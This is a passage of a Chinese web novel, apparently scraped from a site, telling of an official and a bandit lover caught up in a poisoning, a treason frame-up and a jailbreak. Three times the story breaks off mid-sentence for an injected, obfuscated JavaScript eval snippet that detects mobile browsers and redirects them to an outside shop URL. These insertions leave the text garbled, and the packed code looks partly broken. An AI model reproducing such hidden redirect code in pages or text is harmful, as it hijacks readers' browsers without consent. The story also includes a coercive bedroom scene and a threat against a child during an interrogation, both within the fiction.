“是赵秦送来的,我进来的时候他们就在这里了。” 晏亭风现在什么都听不见去,“我要是没来,温大人恐怕早就沉浸在温柔乡里出不来了。” 两个人就这样大眼瞪小眼僵持着,温砚清咬着牙干脆认了下来,“是,我就是想踹了你找新欢行了吧?” “我就是喜欢这种类型,再者说了,我找谁关你什么事,你是我什么人?” 温砚清一口气说了出来,没注意到身旁的人脸色越发阴沉,下一秒身体突然腾空,他惊呼一声紧抓着晏亭风的肩膀。 整个人被扔在了床榻上,他顾不上后背的疼痛,“你想做什么!” 晏亭风咬牙切齿,一字一顿,“温大人不是寂寞难耐吗?当然是帮帮你!” 他一只手覆上温砚清的腰,熟练地解开腰带,领口露出大片白皙的皮肤。 “啪”的一声,他的左脸迅速红肿,温砚清撑着身子,面红耳赤看着他,“清醒了没有!” “我说过了,那些人是赵秦送来的,我碰都没碰过,从我身上滚下去!”温砚清抬脚将他从身上踹下去。 “再发疯就给我滚出去!” 16. 桥归桥路归路 温砚清整理好身上的衣裳,手腕处红了一片,他故作镇定地看着晏亭风,“既然清醒了那就赶紧走。” 眼下不管他说什么,晏亭风既不说话也不动弹,就等着一个解释。 两人对峙许久,温砚清最后还是败下阵来,主动递了个台阶,“人是赵秦送过来的,我没碰也没打算碰。” “你赶我走是因为朝廷?”晏亭风坐在床榻边,抬眼和他对视。 温砚清对他的态度突然转变,多多少少能猜到一点,再加上清风寨突然被官兵围剿。 即便原因是这个,温砚清也不愿意承认,“我是官,你是匪,我们本不该有交集。” “我赶你走是为了保住我的仕途,我不愿因为一个土匪,赌上我的后半生,这个理由你满意吗?” 他取下腰间的汉白玉佩放在晏亭风的手上,“这个还你,其余剩下的东西我也会让人悉数送回去。” “温大人,你对我一点感情都没有?”晏亭风紧攥着手中的玉佩,他站起身整个身子几乎贴着温砚清。 “我怎么会对你产生感情,逢场作戏的事情也只有你相信了,把你留在身边也是为了方便调查。”温砚清不习惯他贴着自己,后退了两步拉开了距离。 他故作镇定背对着,心口跳动的声音震得他头皮发麻。 “既然如此,那温大人为何在我离开后,还让人一路跟着我回到青州?这也是为了方便调查我是吗?” 见温砚清没回答,晏亭风气笑,他点着头继续往下说,“那日在院中,你亲我难道也是你计划中的一部分吗?” “是。” 几乎没有犹豫,温砚清转过身子和他对视,“从始至终,我把你留在身边,都是我计划中的一部分,为的就是调查你这个人,不管你信不信,事实就是这样。” 晏亭风扯起衣袖露出手腕上的玉镯子,“既然如此,温大人便收回去吧,以免你的仕途被我玷污了。” 等了许久身旁的人都没有动作,晏亭风正打算上手取下来,一只手将他的衣袖扯了下来,“送出去的东西没有拿回来的道理。” 温砚清越是这样,晏亭风的脸色越发的差,他将手上的镯子取了下来塞在温砚清怀里,临走前咬着牙一字一顿,“往后的日子温大人便放宽心,我不会出现在你的面前。” 他的视线落在温砚清左手上拿着的玉镯子,“那镯子还是物归原主,温大人将来成亲好送给温夫人。” 屋门砰的一声关上,温砚清捏着手中的玉镯子半天说不出一句话,良久他才吐出一口气。 这样也好,他将镯子收了起来,明明事情都按照他所想的方向发展,为什么总感觉心口空落落的。 屋外传来动静,他走上前去推开门,瞧见来人莫名有些失落,“怎么回事?” 南瓜一路小跑过来喘着粗气,“赵秦他……他死了!” 赵秦死了! 温砚清让人备车出发,赵秦怎么会死? 马车停在总督府门前,仵作将数十根银针放置在尸体上,其余几根拿出来没有什么变化。 咽喉处的银针拔出来时,却黑了一大片,仵作将银针一一摆放好,随后转身向身后的人汇报。 “大人,赵大人这是中了毒没有发觉致死。” 张清从他身后走了出来,目光移到姗姗来迟的温砚清身上,“温大人也听到了,这赵大人是中毒致死。” “我听闻昨夜,温大人与赵大人把酒言欢,聊得不亦乐乎。” 现下所有的证据都指向温砚清,他镇定下来和张清对视,“我与赵大人饮同一壶酒,为何我却没事?” 从京都到余州的路程,可不是一时半刻可以赶到的,张清却及时出现。 “张大人还真是神速,赵大人刚出事,你便已经到了余州。” 天底下可没有这么巧合的事情。 张清挺直背脊,“我这是为了陛下排忧解难,途径此处正巧碰上罢了,此事我已上报,眼下恐怕需要温大人配合。” 说罢,他挥了挥手,身旁的官兵上前,动作迅速扣押着温砚清。 “温大人,辛苦你和我们走一趟了。” 赵秦在这个关头死了,怎么看都和温砚清脱不了干系。 南瓜和冬瓜想要阻拦,却被温砚清一个眼神拦了下来。 他倒是想看看,背后是谁在给他设局。 “带走!” 张清甩袖离开,在旁人看不见的地方嘴角勾起一个笑容,他向身旁的随从递了一个眼色。 后者会意留下来处理赵秦的尸体。 温砚清这辈子来牢房里的次数屈指可数,却还是第一次被人像犯人那样扣押进来。 “温大人就好好待在这里头,等查明真相后,本官自会还你一个清白。” 张清眼底的笑意难以掩饰,和想象中不一样的是,温砚清像是没事人一样,镇定自若地坐在那。 临走前,他停下脚步留下了一句话,“听说温大人和那土匪是挚友,就是不知道他会不会想办法救你。” 温砚清没搭理他,闭着眼靠在角落,来之前早就料到了会有这一遭,所以他已经交代好了南瓜和冬瓜。 此行恐怕是冲他来的。 牢房外传来窸窸窣窣的动静,锁芯转动的声音引起了温砚清的注意,他猛地睁开眼睛却对上了一张熟悉的脸。 那张脸上没了往日的光彩,反而多了一丝疲惫,温砚清皱起眉头训斥,“你来做什么!” “擅自闯入牢房是死罪,晏亭风你有几个脑袋够砍?” 晏亭风没理会他说的话,而是从怀中拿出一张告示。 “张清告诉所有人,你是杀死江南总督的凶手,过几日便会将你斩首示众。” 晏亭风轻喘着气,没人知道他看见这种告示时在想什么,来的路上有多慌张。 现下他唯一的念头就是把温砚清救走。 他伸出手抓着温砚清的手腕想要离开,却被人甩开。 “你知不知道,出了这道门,等着你的是张清的人。”温砚清冷着脸赶他走,“他不敢对我怎么样,你就没想过,为何你可以如此顺利的进来?” 张清想要借此逼他认下通匪的罪名。 晏亭风后退了一步,将牢房布置成原本的模样,他将身上的汉白玉佩重新递给温砚清。 “温大人愿不愿意信我,我会想法子救你出来的。” 他就这么举着,温砚清不收下去,他就不肯离开。 没法子,温砚清只得收了下来,“这件事你别管,回青州,往后桥归桥路……” 话还没说完,晏亭风便装作什么都没听见转身离开。 徒留温砚清站在原地捏着手心那块汉白玉佩,算算时间,南瓜他们也快回来了。 “好你个温砚清!竟敢勾结那土匪盗走赵秦的尸体!”张清怒气冲冲走进来,他让人打开牢房的门。 “张大人莫不是糊涂了,我人在这里,如何与人勾结盗走赵秦的尸体?” 张清伸出手指着他,气得发抖,“别以为我不知道,你和那土匪私底下勾结,盗走了赵秦的尸体,你们这是毁尸灭迹!” 晏亭风盗走了尸体? 即便心里头在慌张,温砚清面上也没显露出半分,“张大人空口白牙便给我扣下了这么大一顶帽子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016826|194220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “那土匪就是有通天的本事,也没办法在张大人的眼皮子底下被盗走,除非……”温砚清的目光落到了张清的身上。 “那可真是奇了怪,既然张大人亲眼看见是那土匪盗走了赵秦的尸体,为何不派人去追?” 温砚清站起身走到他的面前,“张大人口口声声说我与土匪勾结,却眼睁睁看着那土匪离开……” “胡言乱语!本官怎么会与土匪勾结!”张清梗着脖子和他争论,“你这是诬陷,我定要上报,让陛下治你的罪!” 温砚清正打算开口,一个官兵走进来凑到张清的耳旁低声说了两句。 张清脸色突变,皇帝怎么会知道? 他沉着一张脸甩袖离开,让人将温砚清放了出来,总督府外陈宏拿着圣旨等着。 “温大人,陛下让咱家给您带句话,想要堵住悠悠众口,还要劳烦温大人配合张大人找出幕后真凶。” 温砚清示意南瓜将一块金元宝放在陈宏的手上,“陈公公,借一步说话。” “张清也是陛下派来的吗?” 陈宏满面红光将那金元宝塞进衣袖中,“陛下如此信任温大人,又怎么会让旁人插手。” “此事属实是巧合。” 温砚清亲自送走了陈宏,随后他的视线落在不远处的张清的身上,难不成是顾靳闲派来的? 他让南瓜注意着张清的动向,随后带着冬瓜前往望月楼。 刚踏进厢房内他便摆摆手让冬瓜在门口收好,随后关紧窗户。 “还躲什么?” 房梁上跳下来一个人,“温大人还是一如既往的好眼神。” 不知是不是温砚清的错觉,他总觉得晏亭风怪怪的。 突然如此……正经,他倒是有些不习惯。 “我从赵秦脑后发现了一处伤口,他是被人用某种钝器砸伤,随后灌入毒药。” “这个毒药你也见过,是从大夏传来的。” 大夏…… 会是谁呢? 思忖片刻,他的脑海中一闪而过一个名,会是巧合吗? 晏亭风从衣袖中取出一小片信纸,“这个是我从赵秦身上发现的。” “我去时,他的尸体便被人丢在乱葬岗,若不是去的及时,恐怕也发现不了。” 信纸上残留着小半片的名字,隐约能拼凑出一个顾字。 温砚清认得这是顾靳闲的字。 难不成这是他? 看来还是要去赵秦府上瞧瞧,临走前他停下脚步,转身看向晏亭风,“你……” “温大人有什么事吗?” 换做以往,只要他往前走一步,晏亭风便跟一步,从未有过如此疏远…… 温砚清摇了摇头,罢了,“没事。” 他跨步往外走,这不正是他想要的? 可怎么,心口这么难受呢? 最终晏亭风还是跟了上来,只不过总是与他隔着些许距离。 赵秦死后,府内便乱成了一团,走的走,搬的搬,最后只剩下一个破落院子。 两人顺着走至书房前,书房内值钱的早已让人搬走,只剩下数十封信件被人丢在角落。 温砚清蹲下身子随手拆开,是顾靳闲送来的,里面的内容无一不是劝诫赵秦要脚踏实地,为百姓造福。 “赵秦有个好老师。” 将所有的信件看完后,温砚清沉默了半天才开口,原先他以为顾靳闲和大夏勾结,现如今看,是他想多了。 晏亭风跟着看了两眼信件,随后缓缓开口,“张清来得太巧了,先是谢平铮,接着是赵秦,我看,得从张清身上下手。” 17. 萍水相逢 “都给我仔仔细细的查!” 屋外突然传来吵闹地动静,温砚清先一步跨出院子,只见张清带兵查抄。 在这里看见温砚清,张清倒是不意外,他的视线落在了温砚清身后,像是抓住了什么把柄似的露出一个不易察觉的笑。 温砚清下意识利用身子挡住身后的人,他压着声让晏亭风,“你先回去。” 上回便是张清在皇帝面前颠倒黑白,恐怕早就记住了晏亭风的模样。 “想不到温大人竟然先一步到这里。”张清快步上前,想要看清他身后站着的人。 终究是慢了一步,温砚清身后站着两个随从,他皱起眉头惊呼质问,“怎么可能!人呢?那个土匪去哪里了?” 他的人明明亲眼看见两个人一块来的。 “张大人在说什么胡话,哪有什么土匪,莫不是上了年纪眼花了。”温砚清一脸疑惑地看着他,好像真的不清楚张清在说什么。 张清瞥向一旁半开的窗子轻哼一声,人走了。 他重新调整好自己的情绪,再三试探温砚清,“莫非温大人真的与那猖匪没有任何交集?” “张大人说什么胡话,我是官怎么会与匪有勾结?”温砚清目光冷冽紧盯着他,想要找出一点破绽,“我倒是想问问张大人,赵秦是因何死的。” 张清冷笑一声,“当然是中毒身亡,如今温大人你可是重点嫌犯。” “是么?”温砚清皮笑肉不笑,伸手示意南瓜把东西拿出来。 一小块布料放在了他的手心,他捏起那块布料放在张清面前,时刻关注着张清面上的表情,“我若是没猜错的话,赵秦是你杀的吧。” 这块布料是晏亭风走之前塞给南瓜的,是从赵秦的身上找到的,这块布料看似普通,仔细看的话还能注意到上头用血写出的字。 一个张字,现如今能与之挂钩的,只有张清。 如温砚清所料,张清看见那块布料时脸色一变,想要上手去抢布料却慢了温砚清一步。 他故作镇定为自己辩解,“一块布料罢了,能说明什么,谁知道是不是你随便找来想要给我安插罪名。” 温砚清轻笑一声摆摆手让人扣住张清,像是报复一般,“委屈张大人走一趟,只要找出幕后黑手,我定还张大人一个清白。” “温砚清!你这是诬陷!我是无罪的!” “根本就不是我杀了赵秦,你这是打算和整个御史台作对吗?” 提起御史台温砚清收起脸上的笑容,目光冷冽,“张大人紧张什么,只要找出幕后黑手自然会还你一个清白,还御史台一个清白。” “即便是今日顾靳闲来了,也不能将你带走。” 话音刚落,府前看守的官兵进来汇报,“大人,顾大人来了。” 温砚清:“……” 怎么说来就来。 张清嘴角露出一个笑容来,他得意地看向温砚清,“顾大人知道我是无辜的,他定会救我出去。” “温砚清你还愣着干什么!还不快让你的人松手!” 温砚清没理会他,目光移到院门前,顾靳闲脚步匆忙走进来。 看见顾靳闲宛如看见救兵,张清大声呼喊着,“大人,温砚清和土匪勾结,害死了赵秦,现下还想给我扣一顶谋杀朝廷命官的帽子!” “还请大人明察秋毫,将贼人缉拿归案,还下官一个清白!” 辩解的声音一声比一声高,任凭谁听了都觉着他是清白的。 想象中的场景没有发生,顾靳闲气势汹汹地来,却不是冲着他。 “啪”的一声清脆,温砚清有些没反应过来,张清的左脸迅速红了一块,多了一个巴掌印。 张清眼底全是难以置信,“大人……” 话还没说完又挨了一个巴掌,顾靳闲指着他半天说不出一句话,看样子气得不轻。 “混账玩意!” “我在朝中处处提拔你,是想让你脚踏实体为国为民,你这混账玩意竟然敢私通敌国!” 私通敌国? 温砚清突然想到了赵秦身上的毒,以及在扬州时,出现的毒。 只是,张清竟然和大夏勾结…… 张清愣了一下,随后大喊冤枉,“大人是我的贵人,我张清为景国鞠躬尽瘁,怎么会和敌国私通,求大人明察。” 顾靳闲从衣袖中拿出一封信,信上清清楚楚的写出了张清是如何与大夏勾结。 温砚清有些惊讶地挑了挑眉,顾靳闲手上这封信又是从何而来的。 原本还在鬼哭狼嚎的张清,在看见那封信件时却突然停了下来,目光阴毒地从两人身上扫过。 一会大笑一会哀嚎,最后还是温砚清让人将他的嘴堵上。 现如今最重要的不是赵秦为何突然爆毙身亡,而是要将张清押送回京,皇帝要亲自审问。 突然想起什么似的,温砚清突然开口,“一下子失去两个门生,顾大人心里是何种感想?” 他不太确定,顾靳闲与大夏是否也有联系,他不敢赌。 顾靳闲面上看不见其他情绪,既没有慌张也没有难过,好像这一切和他都没有任何关系。 “张清与大夏勾结,我没有这么吃里扒外的学生,至于赵秦,他与大夏暗中秘密交易。” 他的目光落在了温砚清身上,语气坚定,“不论是谁,只要与外敌勾结,作出对景国不利的事情。” “哪怕他是我的学生,我也不会因为任何原因徇私。” 和顾靳闲斗了这么多年,温砚清突然觉着有些看不懂这个对手。 马车缓缓驶出余州地界,一路上温砚清时不时掀起帘子查看。 却迟迟没有瞧见那个熟悉的身影,他苦笑一声松开掀帘子的手。 他怕是不会来了。 心口像是被人划了一刀,他从衣袖中取出那块汉白玉佩,“既然做好了如此打算,为何又要来救我?” 没有得到答案,温砚清摩挲着玉佩上的花纹,最终还是没有挂在腰间。 往后的日子,桥归桥路归路。 温砚清跟着顾靳闲进了一趟宫,将前因后果同皇帝说了一遍。 知道母亲在家中等着一个答复,温砚清没有多停留。 姜夫人确实等了好几日,温砚清回来的第一件事就是被她追问,“儿啊,你告诉为娘的,你和亭风两个人究竟是何种关系?” “这些日子你不在,我是茶不思饭不想,怎么也想不通你们二人到底……” 温砚清握着姜夫人的心,“母亲,我和他……没有任何关系。” “只不过萍水相逢罢了。” 现如今姜夫人哪还肯相信他的话,那日的场景她亲眼所见,“萍水相逢?若你们真是萍水相逢,我也不会担忧。” “萍水相逢还需要你去亲他吗?砚清你告诉我实话,你们是不是成亲了?” “京中盛传你和土匪勾结,你告诉我,他是不是就是那传闻中杀人如麻欺压妇孺的土匪!” 姜夫人的语气越发的激动,她辛苦生养的儿子,竟然喜欢上了一个男人! 这要是传出去,又要让旁人嚼多少口舌? “母亲,你听我解释,晏亭风他不是传闻中的那版 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016827|194220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他算是我的救命恩人,救了我一命,除此以外……” 温砚清顿了顿,继续往下说,“除此以外,我们之间没有任何关系,我亲他那纯属是意外。” 他轻笑一声安慰姜夫人,“母亲便放宽心。” “砚清你要记得,你父亲生前的遗愿,就是看着你找个门当户对的姑娘成家立业,绵延子嗣。” 姜夫人不放心似的又多说了两句。 温砚清应着送她离开,随后将自己关在书房中。 温砚清从怀中取出那玉镯子,恍惚间耳旁仿佛听见了晏亭风的笑声。 他忍不住跟着笑出声,最后回过神来将镯子收了起来,他明明可以将镯子还给母亲。 却莫名有些不舍得,这是晏亭风戴过的。 万一…… 他心里藏着些许侥幸和期望,若是晏亭风突然回来找他讨要这镯子呢? 屋外急促的敲门声打断了他的思绪,宫里头出了事,冬瓜得了温砚清的准许,将信件送了进来。 “大人,这是宫里头送来的,听说张清什么都招了,这件事貌似还牵扯到了不少人,其中还有……顾大人。” 温砚清动作迅速地拆开信件,扫了两眼他便冬瓜备车。 张清在天牢内什么都招了,不仅给皇帝列出了一个名单,还一口咬死顾靳闲与大夏勾结。 顾靳闲位高权重,在朝中的位置根深蒂固,若真有这档事…… 皇帝震怒,将此事交给了他。 马车停在了顾府,门上已经被人贴上了封条,顾靳闲被人带走审问,府中的其他人也难逃一劫。 温砚清让人撕下封条搜查,这么些年顾靳闲虽然身居高位,可府中的陈设却简单得很。 找了一圈竟一无所获。 和顾靳闲斗了这么多年,今日你弹劾我,明日我弹劾你,温砚清仍旧不愿意相信他会是这种人。 不远处的桃树下传来动静,一个官兵从树底下挖出了一个小盒子。 温砚清快步上前去查看,盒子中整齐地摆放着数十封信件。 他屏住呼吸随手拆开了一封,上面的内容却让他大惊失色。 信件是大夏送来的,他们让顾靳闲在朝中站稳脚根,打入内部。 温砚清下意识后退了两步,动作迅速地将其他信件一一拆开,心口腾升一股怒气,他想见顾靳闲,好好地去质问他,为什么这么做。 他深吸一口气,将所有的信件收好,“去天牢。” 顾靳闲被关押在天牢深处,周遭的环境又阴又冷,温砚清到的时候,这位顾大人浑身是伤。 听说挺过了数十道酷刑,仍旧不肯承认自己与大夏勾结。 “我没有,我顾靳闲若是私通敌国,这辈子不得好死。” 温砚清让人打开牢房,将衣袖中的信件丢在地上,“看看。” “若是顾大人觉得发誓有用,那你早就被天打雷劈。” 顾靳闲强撑着伤口撕裂开的疼痛,他捡起地上的信件,面上越发的难看,“不是我。” 他轻咳一声一滩血沾染了信纸,“若真的是我,你不会找到这些所谓的证据。” 温砚清皮笑肉不笑看着那一叠信纸,“张清指控你,这些东西是从你府中找到的,你又如何证明自己的清白?” “什么时候的事?蛰伏这么多年,真是辛苦你了。” 顾靳闲擦了擦嘴角的血,没理会他的阴阳怪气,“既然你觉得是我,为何又要亲自来问?” 他指出信件上的字苦笑道,“这字迹虽然像,却不是我写的,这是有人想要拖我下水!” 18. 下次没准是你 温砚清沉默着没说话,许久,他缓缓开口,“你觉得会是谁?” 顾靳闲没有直接回答,只是扯出一个难看的笑容,他伸出手指着温砚清,“现在是我,你觉得下一个会是谁?” 他收敛笑容,表情越发的严肃,“温砚清,这次是我,下次没准就是你,位高权重,阻碍了太多人的利益。” 想到这里,顾靳闲眼底闪过一丝嘲讽,“想我顾靳闲为国为民数十载,提拔的学生没有几千也有几百。” “墙倒众人推,最后来看我的,竟然是你。” 温砚清抿着嘴唇没有搭话,他站起身想要离开,却一个没留神差点踩了空。 顾靳闲在提醒他,如今这一切,都是朝堂上那位的手段。 出了天牢温砚清突然停下脚步,他低声交代南瓜,“找人盯紧顾府,一个苍蝇都别让他飞进去。” 既然是冤枉的,那就一定会露出马脚。 他就等着这个马脚主动露出来。 夜幕低垂,外头起了风,窗前栽花被吹折了几支,听见动静温砚清放下手中的书抬眼,“找到了?” 南瓜点着头开口,“找到了,那人想要一把火烧了顾府老宅,让我们抓住拦了下来,只是,什么都不肯说。” “那小子软硬不吃,就是装哑巴。” “带我去看看。”温砚清起身让南瓜带路。 防火的人是过去服侍顾靳闲的小厮,顾府被抄家以后,跑得没影,现在却突然出现想要一把火烧了宅子。 人被关押在柴房里,嘴里还塞着一块破布,嘴角残留着伤口,温砚清挑了挑眉头,看来南瓜和冬瓜软硬兼施,什么都没撬出来。 他让人找来一块干净的椅子坐下,扯下小厮嘴上的破布,“谁让你来的?防火烧宅子的目的是什么?” 被捆绑起来的小厮一副无所谓的模样,“想烧就烧,没有人让我来,我就是单纯想去放个火。” 不管温砚清问什么,他都是坚持这句话。 “温大人,我和顾靳闲有不共戴天之仇,我去烧他宅子解解气这也不行吗?” 温砚清眼底没了笑容,目光冷冽盯着他,“我的耐心有限,没有空闲听你在这里扯嘴皮子。” “如果你不愿意说,我有无数种方法可以撬开你的嘴。” 话锋一转,温砚清想到了什么似的,“听说你家中还有个三岁的男娃……” “三岁的孩子什么都不懂,要是一夜之间没了父亲,往后的日子恐怕不好过。” 小厮目光怨恨地瞪着他,语气嘲讽,“想不到人人称颂的温大人也会使这下三滥的手段。” “手段不分好坏,好用就行。”温砚清淡定地看着他,“说吧,谁让你来的,他又在哪里。” 孩子是他的命脉,小厮咬着牙垂下了脑袋,“我不认识那个人,他戴着一个面具,拿着一百两银子找上门。” “让我一把火烧了顾府的宅子,事成之后会再给我一百两。” 温砚清直勾勾地盯着他,在分辨哪句话是真,哪句话是假的。 “知道他住在哪吗?” 提起小厮先是摇摇头,对上温砚清的目光马上点头,“他给了我一个地址,让我事成之后到那里去拿剩下的一百两。” “就在城东河岸边的破屋子里面,他让我上那里找他去。”说完小厮试探性往下说,“我全部交代了,现在可以离开了吗?” “孩子还在家中等我……” 温砚清站起身让人备车,临走前他眼神示意冬瓜,拿了一百两放在小厮手上。 身后传来磕头的声音,一下又一下,“多谢温大人,温大人就是大好人啊!” 马车停在破屋子前,里头点着灯,隐约看见一个人影,一恍惚人影消失不见。 温砚清皱起眉头让人追上去,“人跑了,快追!” 屋子内只剩下一把椅子一盏油灯,温砚清转了一圈什么都没发现。 会是谁? 费尽心思设计陷害…… 眼皮子止不住的跳,温砚清揉了揉眉心让自己镇定下来,身后传来脚步声,转身看去冬瓜追着人回来了。 他摇着头有些遗憾,“差一点,那人直接顺着河岸往下跳,一点影子都找不到,不过……” 见他支支吾吾半天,温砚清催促着他开口,“不过什么?” 冬瓜皱着眉头一字一顿,“我看清了他的容貌,这个人是御史丞张清。” 张清…… 他不是在天牢吗? 不是被关押了吗? 怎么还会出现在这里…… 不等温砚清做出反应,南瓜急匆匆地走进来,“大人,宫里头传来的。” 温砚清接过那张信纸,看了两眼便收了起来,指挥着南瓜备车,临走前他停下脚步凑到冬瓜耳旁压着声说了几句。 “一切小心。” 做完这一切他急匆匆地进宫,这个时候司烨喊他进宫,恐怕是发生了什么事。 乾清宫内染着龙涎香,皇帝靠在龙椅上闭目养神,温砚清跪在地上行礼,一个姿势维持了半个时辰。 直到皇帝睁开眼睛语气惊讶,“温爱卿来了怎么不告诉朕一声?” 他挥了挥手,让人备了一张椅子将温砚清扶起来,“你我之间不必拘束,要是让你姐姐知道了,免不了一阵唠叨。” 温砚清摇了摇头,“您是君我是臣,君臣之礼不可逾越。” 司烨让人搬来棋盘,“你来的正好,顺便陪我下会棋。” “顾靳闲什么都招了,全部都承认了,他说他收下了大夏那边的银两。” “这么些年来吃里扒外,为大夏送去了不少情报,这几年来我军连连败退,都有他顾靳闲的功劳!” 温砚清紧皱着眉头,在棋盘中间放下一颗白子,“从什么时候开始?” “这么些年陛下未曾亏待过他,他为什么这么做?” 司烨冷笑一声,盯着棋盘上即将包围住自己的白子,“顾靳闲千不该万不该和大夏勾结,他对不起景国的百姓,更对不起那些出生入死的将士。” 一个不留神,白子吃掉了一颗黑子。 温砚清重新放下一颗棋子,“那陛下要怎么惩治他?” “几日不见棋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016828|194220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艺见长。”司烨轻笑一声,语气不冷不淡,“我本不想这么做,可我必须对天下百姓有个交代。” “我已经让人将顾靳闲拖下去问斩,明日城门口挂着的就是他的脑袋,以儆效尤。” 温砚清放棋子的手顿了一下,像是想到什么似的开口询问,“那张清应当如何处置?” 提起张清司烨眼底闪过一丝慌乱,“张清……” “念在张清将功补过,为朝廷奔波了小半辈子,朕命人将他流放岭南之地,这辈子不得离开半步。” 温砚清没在回应,而是放下手中的棋子露出一个淡淡地笑容,“陛下输了。” 司烨盯着棋盘看了许久,随后笑出声,“看来我真是老了,想不到竟然也有被你扳回一句的时候。” 温砚清谦虚一笑,恭维了几句,从前他不会这么明目张胆的赢。 只不过,今晚不同。 乾清宫外传来急促的脚步声,陈宏轻喘着气跪在地上,“陛下,顾靳闲被贼人劫走了!” “什么!” 司烨猛地站起身,“查!必须给我查清楚!” 温砚清适时开口,“陛下,这个时候,那贼人应当还未离开京都,眼下最重要的就是加强看守。” 乾清宫内静悄悄的一片,司烨盯着上报的折子气得脸色发黑,注意到一旁守着的温砚清脸色稍稍缓和。 “再来一局。” 面对司烨这一句的猛烈攻势,温砚清不慌不忙地应对着。 “温爱卿觉得,会是谁有这么大的胆子,敢在朕的眼皮子底下救走顾靳闲?” 司烨抬眼目光直勾勾地盯着他,今晚的温砚清实在是不太对劲。 “陛下说笑了,臣没有神通又怎么会知道是谁劫走了顾靳闲,不过……” 温砚清和他对视上,“顾靳闲提拔上来的门生没有几千也有几百,于他们而言那是恩情。” “不希望顾靳闲死的人恐怕不在少数想要,这个人一定在他们其中。” “陛下赢了。”温砚清苦笑一声将棋子丢在一旁,“我还是学艺不精,妄想着逆风翻盘。” “只是,我在想一件事,顾靳闲一向最看重的就是张清这个门生,一路提拔至御史丞。” “按理来说,若是顾靳闲真的勾结大夏,张清没有理由捅破,更像是有人想把顾靳闲拖下这趟浑水。” 司烨皮笑肉不笑的,明明赢了棋局,面上却没有一丝笑容,“张清是朕亲自审讯的,温爱卿这是在怀疑朕?” “陛下说笑了,我怎么会怀疑呢,我只是觉得张清有问题,背后的秘密恐怕不止这么一点。” “张清在流放路上因为伤口流脓溃疡,硬生生折磨死的,即便想知道什么,也找不出来了。” “眼下最重要的就是找到顾靳闲,斩首示众!”司烨眼底闪过一抹阴郁,忽然他抬眼看向温砚清,“天色不早了,温爱卿早些回去休息,若是让你姐姐知道了,朕又该挨训了。” 温砚清行了个礼退了出去。 刚离开没多久,乾清宫内传来棋子散落地声音,司烨沉着一张脸,“找人跟着他!” 19. 我的皇后 南瓜守在宫门口,见温砚清出来了拿着大氅迎了上去,借着身位挡着低声提醒,“大人,两个人。” 温砚清轻声应了句,走之前他就察觉到身后跟着人,皇帝这是在怀疑是他劫走了顾靳闲。 “先回府。” 眼下最重要的就是先打消皇帝的疑心。 淅淅沥沥下着小雨,马车轱辘缓缓停在温府前,南瓜借着撑伞的机会观察那两人的位置,“大人,还在。” 温砚清眼神示意,露出半张脸让他们看清楚。 进了院子他快步走过长廊回到屋子里,南瓜注意到屋檐上露出的衣角,“来人啊,抓刺客!” “知道这里是哪吗?” 听见动静的侍卫一左一右追了上去,温砚清借着机会撑着伞从后院离开。 他垂着脑袋拐进一条小巷,最后停在了巷尾一处破旧的院门前,他抬手有顺序的在门板上敲了几下。 屋子里传来微弱的动静,冬瓜手上提着油灯,看清来人后让出半个身位,“大人。” 昏暗的角落里走出另一个人,顾靳闲脸色苍白,“为何救我。” “如今我是罪臣,皇上不会就此罢休,温大人这是引火上身。” 进宫之前温砚清特地交代冬瓜守在天牢前,只有顾靳闲露面不管用什么办法,都要把人带走。 冬瓜带着人逃了几条街,才甩来追查。 张清是皇帝亲自审问的,他不应该出现在城东的破屋子,这一切都是皇帝做的局。 他想除掉顾靳闲,张清根本就不是大夏安插进来的卧底,他是皇帝的人。 “我知道。”温砚清垂眸不知道在想什么,先是谢平铮,后来是顾靳闲。 在扬州时他就该想到的。 “天一亮,我会让人想办法送你出城,我在青州有一处空闲的院落,没人知道那里。” 顾靳闲摆了摆手拒绝了,“不必,我会去其他地方。” 温砚清忽然抬起头看着他,眸光闪着微弱的光,“是清风寨吗?” 这屋子年久失修,再加上下了雨处处透着一股子霉味,顾靳闲盯着他没回答算是默认。 “我在青州时,是你告诉晏亭风我的行踪,也是你让他提醒我朝中有奸细。” 见他没说话,温砚清点点头表示自己知道了。 所以这才是晏亭风会靠近他的原因,所谓的喜欢只是假话。 这其中只有他像个傻子被人耍得团团转。 下一秒顾靳闲打断他的思绪,“是我告诉他的不假,却不是我主动告诉他的。” “早年在青州他救了我一命,于我有恩,他唯一的条件就是让我告诉他,你在京中所有的行踪。” 顾靳闲掩面轻咳两声,“此行我去青州,可以帮你带句话。” 带句话? 脑子中不自觉浮现那张熟悉的脸,似乎…… 从他回来到现在,晏亭风一封信也没寄来,甚至一点风声都没有。 